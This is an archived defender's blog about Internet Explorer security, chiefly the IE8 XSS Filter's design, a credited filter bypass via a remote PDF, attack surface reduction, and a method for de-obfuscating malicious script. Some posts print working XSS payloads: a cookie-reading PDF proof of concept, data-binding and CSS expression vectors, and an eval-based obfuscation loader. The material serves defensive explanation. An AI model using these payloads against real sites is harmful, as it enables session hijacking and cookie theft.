random dross : Internet Explorer

Good Bug

dross — Fri, 29 May 2009 01:37:00 GMT

Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic. The original heuristic failed to properly sanitize OBJECT tags with the DATA attribute set. Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element. This would load a remote PDF that would execute script in the context of the hosting page, effectively enabling XSS.

Example:
http://site.tld/foo.asp?FName=<object%20data=anything_at_all.pdf><param%20name=src%20value=http://othersite.tld/xss.pdf%20></param></object>

The PDF proof-of-concept contained:
getURL("vbscript:MsgBox document.cookie");

Thanks to Alex, we were able to address this bug for the IE8 final release.

The MSHTML (Trident) Host Security FAQ

dross — Mon, 06 Apr 2009 20:21:00 GMT

I've posted a two-part FAQ addressing security considerations for apps that host MSHTML. Check it out over at the SRD blog!

The MSHTML Host Security FAQ: Part I of II
The MSHTML Host Security FAQ: Part II of II

New webappsec tools

dross — Wed, 25 Mar 2009 21:33:00 GMT

Chris Weber's Watcher: http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/

Watcher plugs into the Fidder HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.

Gareth Heyes' XSS Rays: http://www.thespanner.co.uk/2009/03/25/xss-rays/

XSS Rays runs in the browser as a bookmarklet and scans for XSS on demand.

IE8 is here!

dross — Thu, 19 Mar 2009 23:02:00 GMT

http://www.microsoft.com/ie

What are you waiting for? Go get it!

XSS Filter Improvements in IE8 RC1

dross — Sat, 31 Jan 2009 00:30:00 GMT

I've just posted detail up on the SVRD Blog about some improvements and bug fixes to the XSS Filter feature in IE8 RC1.

IE8 Beta 2

dross — Sat, 30 Aug 2008 01:18:00 GMT

If you haven’t already seen, Internet Explorer 8 Beta 2 is out – go get it!

Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality. This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.

THANK YOU:

Zhenya and Joe J

Keith Baston
Sarah Blankinship
Christopher Budd
Fergal Burke
Manuel Caballero
Tony Chor
Jeremy Dallman
Mark Debenham
Carl Edlund
Dave Forstrom
Michael Grady
Dean Hachamovitch
Robert “RSnake” Hansen
Yosuke Hasegawa
Damian Hasse
Ronald van den Heetkamp
Mario Heiderich
Matt Heller
Gareth Heyes
Michael Howard
Hidetake Jo
Dany Joly
Dan Kaminsky
Amit Klein
Kuza55
John Lambert
Eric Lawrence
David Lindsay
Steve Lipner
Spencer Low
Patrick Mann
Bronwen Matthews
Christian Matthies
Jack Mayo
Mark Miller
Katie Moussouris
Aviv Raff
Billy Rios
Harley Rosnow
Andrew Roths
Fermin J. Serna
Mark Shlimovich
Richard Shupak
Craig Spiezle
George Stathakopoulos
Cheng Peng Su
Matt Thomlinson
Jason Upton
Eduardo “sirdarckcat” Vela
Berend-Jan “SkyLined” Wever
Austin Wilson
Geng Yang

The IE Team
SWI

If I somehow managed to leave you out, please let me know.

Now on to RTM!

IE 8 XSS Filter Architecture / Implementation revealed + some other news

dross — Tue, 19 Aug 2008 23:29:00 GMT

I've just posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation over on the SWI Blog. It would be great to get some feedback and answer any questions you may have -- just drop me a mail using the Email link to the left.

In other news, Gareth Heyes has been spending some time testing the XSS Filter implementation. Gareth has written up a post on the Bluehat blog about targeted fuzzing, specifically as applied to XSS.

And finally, it's worth mentioning that I'm now on Twitter!

IE8 XSS Filter design philosophy in-depth

dross — Fri, 04 Jul 2008 09:55:00 GMT

It's great to see some positive reaction to the potential of our XSS Filter. Now we just need to deliver!

In this blog post I’ll try to shed some light on our design philosophy.

To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings. Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:

Clearly this is not something that everyday users would understand or find acceptable! We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users.

The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response. Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion. Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.

The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!

Our XSS Filter design goals do not equate success with blocking every conceivable attack technique. Consider that a reported bug might fall into one of the following categories:

Straightforward implementation flaws.

Example: A buffer overrun when a specially crafted URL is passed to the XSS Filter code.

Any feature, the XSS Filter included, must consider this to be a severe vulnerability.
Mechanisms to bypass the XSS Filter in the general sense.

Example: As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte. This would result in termination of the string we were using to process the URL. A real attack could then pass through unfiltered after the null byte.

To be successful, the XSS Filter must address any issue like this that thwarts its overall effectiveness.
Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.

Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set. So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring. (This is resolved in Internet Explorer 8.)

If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was forced). This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the growing majority of sites using Unicode the XSS Filter’s effectiveness would remain unchallenged.

Example #2: The XSS Filter would not be effective if a web app were to ROT13 decode data from the querystring before replaying it back to the client. For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.

We choose not to ROT13 decode URLs. :-)
Specific new XSS attack vectors.

Example: The following use of data binding will result in the execution of script within IE:

<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(alert(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>

Note there is no SCRIPT tag present. There are many similar obscure script execution techniques present in all browsers. These are often called “XSS attack vectors” and many such techniques are archived on RSnake’s cheat sheet. The XSS Filter does handle this particular XSS attack vector.

In the general case, we recognize the need to address additional new reflected (Type-1) XSS attack vectors as they are identified.

Observe the distinctions between the different bug categories listed above. The most important takeaway is our level of pragmatism especially in category #3 above. We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.

In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, by default, for users of Internet Explorer 8.

IE8 goes on the offensive against XSS!

dross — Wed, 02 Jul 2008 19:29:00 GMT

IE has announced the new XSS Filter feature which will debut in IE8 Beta 2! Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.

XSS-Focused Attack Surface Reduction

dross — Mon, 10 Mar 2008 23:06:00 GMT

All web browsers expose what have been referred to as XSS “attack vectors” – various techniques that XSS attacks can leverage to achieve script execution. The best and most well regarded list of these behaviors is RSnake’s XSS Cheat Sheet.

The existence of these attack vectors can at minimum present a challenge to filters and other technologies which attempt to block XSS. But more fundamentally, XSS attack vectors enable XSS bugs that would not otherwise exist. This is the essential argument for what I term XSS-Focused Attack Surface Reduction.

Let’s explore one example.

Finding a useful reflected XSS bug usually involves identifying a server that will replay data from a URL which is then interpreted by the browser as script. Often constraints are placed on how the attack must be constructed. This can result from ineffective filtering that has been put in place or simply due to incidental non-security related filtering at the server.

Here is a simple example attack URL:

http://[server]/[path]/[file].asp?id=70-305zzz<script>alert();</script>

The script element in the URL is injected into the server’s HTTP response as valid HTML. This vulnerability was addressed with server-side validation. However, the following variation was later identified, demonstrating the validation to be insufficient:

http://[server]/[path]/[file].asp?id=70-305zzz+"+style="background-position-x:expression\0028\0065\0076\0061\006C\0028\0061\006C\0065\0072\0074\0028\0027pwn3d\0027\0029\0029\0029

This variation makes use Internet Explorer's support for Dynamic Properties. The character sequence at the end of the URL is an encoded block of Javascript. While the validation put into place at the server prevents an element from being closed off with a greater-than symbol, it does not prevent the addition of a new STYLE attribute on the element which can contain a Dynamic Property that Internet Explorer will then execute.

The idea of XSS-Focused Attack Surface Reduction is that we can view each instance of XSS as having been enabled by one of a finite number of XSS attack vectors existing in the browser. Then we can look at ways to regulate each of those vectors in order to reduce the browser's susceptibility to XSS.

In this example above, the vector is a behavior exposed by the Dynamic Properties feature. The Dynamic Properties feature provides real value as a feature in the browser, so it’s difficult to perform XSS-Focused Attack Surface Reduction without serious compatibility impact. It’s something we have been looking at closely though.

Fortunately, it turns out that in many cases XSS attack vectors are incidental behavior unlikely to be put to use by legitimate web content. In these cases, XSS-Focused Attack Surface Reduction becomes much more feasible.

In Internet Explorer 7, an effort was made to reduce vulnerabilities involving the use of the special “javascript:” and “vbscript:” URL syntax. Specifically, these URLs were disabled in some contexts. This actually wasn’t intended to mitigate XSS per-se, but it was in fact an effective instance of XSS-Focused Attack Surface Reduction. This is because the use of javascript:/vbscript: URLs in unusual places such as IMG or EMBED tags often enabled XSS where it wouldn’t otherwise be possible. It was great to see that after we released IE7, RSnake noticed the change and updated his cheat sheet.

Essentially, the change described above translates to one less tool available in the XSS exploit author’s toolbox. This is what XSS-Focused Attack Surface Reduction strives to achieve.

I’m happy to report that IE8 is delivering additional XSS-Focused Attack Surface Reduction goodness. For Beta 1 you will notice a small but notable step forward – the US-ASCII XSS attack vector has now been closed. RSnake, feel free to update your cheat sheet once again. J

The Kill-Bit FAQ - Part 1 of 3 posted to SVRD blog

dross — Wed, 06 Feb 2008 21:21:00 GMT

Check out my ActiveX Kill-Bit FAQ which is now being posted to the SVRD blog. There are three parts, the first of which is now live. Parts two and three should be up by the end of the week.

An innovative new defense against cross-domain vulnerabilities

dross — Wed, 22 Aug 2007 22:48:00 GMT

Cross-domain (or “Universal XSS”) vulnerabilities have long plagued modern script-enabled web browsers. Shuo Chen of Microsoft Research has developed a new type of defense against these vulnerabilities. A paper on this new approach has been accepted to the 14th ACM Conference on Computer and Communications Security (CCS).

An Analysis of Browser Domain-Isolation Bugs and A Light-Weight Transparent Defense Mechanism

I contributed some time to Shuo’s project and assisted with providing technical background on historical cross-domain vulnerabilities in Internet Explorer.

Notes on DNS Pinning

dross — Mon, 09 Jul 2007 22:15:00 GMT

Christian Matthies has an excellent writeup on DNS Pinning (with diagrams!) If you're tuned into web app security you've probably noticed a lot of discussion around Anti DNS Pinning a.k.a. DNS Rebinding a.k.a. Quick-Swap DNS lately. You're likely to see a lot more such discussion after this year's Blackhat/Defcon given that there are a number of related talks on the agenda. If you're there, don't miss out on Dan Kaminsky's talk in particular -- it should include a very slick demo!

There are a couple of details I'd like to add with respect how these issues relate to Microsoft products:

1) There's been an assumption that IE actively implements DNS Pinning, as described in the 2002 XWT Foundation Security Advisory. IE has never implemented a specific DNS Pinning feature. It just happens that the steps necessary to make a working demonstration require some smart manipulation of IE's session management and caching behavior. The steps required also may vary between different versions of IE. So basically, any DNS Pinning type behavior observed in IE is incidental.

2) “Anti Anti Anti DNS Pinning” has been specifically addressed in the version of XMLHTTP that ships with Windows Vista and Windows Server 2003 SP2. If a web server implements Host header validation, that should be enough to guarantee the server won't be the target of anti-DNS Pinning via XMLHTTP. After implementing HOST headers for a web site you can validate that content requested without the appropriate Host header is not served. The linked article mentions IIS 5 but the instructions also apply to IIS 6. If there's a way for an Internet web page to send an HTTP request with an arbitrary Host header, I would say that's a bug in need of a fix.

eval() and document.write(), meet Execute and ExecuteGlobal

dross — Fri, 17 Nov 2006 00:35:00 GMT

Be on the lookout for these two VBScript statements that can be used to achieve the same effect as eval() and document.write(): Execute and ExecuteGlobal.

Jonathan Ness pointed me to an exploit sample that was using Execute, presumably to trip up any eval() or document.write() dependent detection logic or automatic de-obfuscation. Thanks JNess!

Recursive Obfuscation

dross — Thu, 05 Oct 2006 22:10:00 GMT

Thanks to Jonathan Ness for pointing me to an example of a new obfuscation technique that attempts to thwart the eval() à alert() trick.

Take a look at the following obfuscation script:

1 <script>
2 function N(F,D)
3 {
4    if (!D) D = ' "#%()-./012348:;<=>@ACEGHILMOPRTVWY\\]_abcdefghijlmnopqrstuvwxyz';
5
6    var f;
7    var V='';
8
9    for (var c=0;c<F.length;c+=arguments.callee.toString().length-380)
10    {
11           f = ( (D.indexOf(F.charAt(c))&255)<<18) |
12                     ((D.indexOf(F.charAt(c+1))&255)<<12) |
13           ((D.indexOf(F.charAt(c+2))&255)<<6) |
14                     (D.indexOf(F.charAt(c+3))&255);
15           V += String.fromCharCode((f&16711680)>>16,(f&65280)>>8,f&255);
16    }
17
18    eval(V);
19 }
20 </script>
21 <script>
22 N('[obfuscated goo v1]')
23 </script>

The first thing you'll notice is code length dependent obfuscation – observe the use of arguments.callee.toString(). You can use the trick I described in my previous blog entry to deal with this.

But what you can’t really see from the script above is that when you alert() instead of eval(), the string you get is:

N('[obfuscated goo v2]')

So it would seem that eval() is necessary in order to execute N() again to continue the de-obfuscation. However, when analyzing any exploit you want to stay away from eval() at all costs to avoid inadvertently executing exploit script that hasn’t been analyzed yet.

So to de-obfuscate this, carefully perform the steps below.

Warning: Executing malicious script without properly neutering it is dangerous. Proceed with caution! Be sure to read the safety guidance here.

Copy the malicious script to a standalone HTML document.
Replace all instances of eval() with pval(), making sure that the obfuscated script block itself doesn’t implement pval(). There is one instance of eval() on line 18 of the example above.
Make sure there are no other extraneous document.write() calls, eval() calls, or anything else that appears to run script or inject script into the DOM.
Drop the definition of pval() at the top of the file:

<script>
function pval(e) { alert(e); }
</script>
Run through the HTML and copy the N('[obfuscated goo v2]') from the alert(). Press Ctrl-C to copy the contents of the alert dialog to the clipboard.
Paste N('[obfuscated goo v2]') over N('[obfuscated goo v1]') on line 22 above.
Go back to step 5 and continue as necessary until the ultimate de-obfuscated script is shown in the alert().

So far I’ve only seen recursion one-level deep so I don’t yet have a need for a more sophisticated solution. If things get out of hand and I start to see multi-pass obfuscation I’ll post a more elegant technique.